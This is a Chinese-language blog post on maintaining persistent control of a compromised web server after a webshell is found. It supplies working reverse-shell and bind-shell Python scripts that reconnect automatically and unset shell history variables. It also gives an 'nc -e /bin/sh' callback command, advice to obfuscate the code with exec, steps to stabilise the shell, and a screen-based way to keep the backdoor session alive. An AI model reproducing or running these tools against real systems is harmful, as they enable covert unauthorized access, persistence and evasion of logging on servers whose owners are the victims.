持久化控制手段

搞定一个站之后经常要做持久化, 防止 webshell 被发现之后的尴尬局面, 或者是主动删除 webshell, 降低被发现的概率.

target <=> self

这种情况我们最喜欢了。畅通无阻

target <=x self

target 监听,self 请求

target 监听:

  • python: python shell_forward.py self_port

self 请求:

  • nc: nc target_ip target_port

target x=> self

不是所有服务器都可以被直接访问的, 这时候就需要反弹 shell
> target 请求,self 监听

target 请求:

  • nc: nc -e /bin/sh self_ip self_port
  • python: python reverse_shell.py self_ip self_port

self 监听:

  • nc: nc -l self_port / nc -l -p self_port

target x=x self

需要借助其他手段穿透 target 的内网。实际上最方便的就是放在公网的服务器上来接收反弹的 shell

code

reverse_shell.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding:utf-8 -*-

import socket
import subprocess
import sys

def shell(ip, port):
s = socket.socket()
s.connect((ip, port))
s.sendall(b"> ")
while 1:
recv = s.recv(1024)
if recv == b"exit\n" or not recv:
break
try:
proc = subprocess.Popen(recv, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
except:
break
s.sendall(proc.stdout.read()+proc.stderr.read()+b"\n> ")

while 1:
try:
shell(sys.argv[1], int(sys.argv[2]))
except:
continue


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
import os
import socket
import pty #or subprocess
import sys


def shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
pty.spawn("/bin/sh") # or subprocess.call(["/bin/sh","-i"])
s.close()

while 1:
try:
shell()
except:
pass

shell_forward.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding:utf-8 -*-
from socket import *
import subprocess
import sys
server = socket(AF_INET, SOCK_STREAM)
server.bind(('0.0.0.0', int(sys.argv[1])))
server.listen(5)
#print 'waiting for connect'
while 1:
talk, addr = server.accept()
#print 'connect from', addr
proc = subprocess.Popen(["python -c 'import pty; pty.spawn(\"/bin/sh\")'"],
stdin=talk,
stdout=talk,
stderr=talk,
shell=True)

以上的代码均可使用 exec("...") 压缩然后进行各种各样的混淆/编码/加密
exec 使用方法如下:

1
exec("print('shell')")

交互性

以上制造出来的 shell 功能受限, 如不小心按下 Ctrl+c 会退出, 箭头键无法使用, 无历史记录, tab 补全等等, 解决方法如下:

  1. 按上面的方法搞一个普通的 shell 出来
  2. Ctrl+z 把这个 shell 挂到后台执行
  3. 运行 stty raw -echo;fg;reset;reset

运行后是这样的:

p1

其实已经好了, 随便输入命令即可:

p2

此时的 shell 已经很完善了, 交互性很强

shell 后台持续连接

假如是反弹 shell, 反弹到你的服务器上去, 而你的服务器是用 ssh shell 连接到, 那么退出 ssh 后后门 shell 也跟着停止了. 可以使用 screen 实现后台持续:

  1. screen -S shell 创建一个名为 shellsession, 它会自动把当前这个 shell 弄成一个后台运行的 shell session, 所有在这个 shell 里运行的程序会一直保持持续状态, 即使你退出 ssh.
  2. 按上面的步骤搞一个交互式的 shell
  3. 退出 ssh(直接关闭终端), 去睡觉
  4. 想继续使用后门 shell 的时候, 只需要重新登录 ssh, 然后用 screen -lst 查看所有的 session, screen -r shell 恢复叫 shell 的这个 session.

经过测试, nohup + & 是不行的, 关了 ssh 后进程是存在, 但是没法恢复。不知道有没有其他办法, 总之 screen 是比较好的了。

隐藏 webshell

放链接

msf 的相关控制手段

待更新

利用 .user.ini 制造 PHP 后门

传送门🚪

后记

后面遇到更好的思路会再增加


来呀快活呀


持久化控制手段
https://www.tr0y.wang/2018/06/02/Ctrl4ever/
作者
Tr0y
发布于
2018年6月2日
更新于
2024年4月19日
许可协议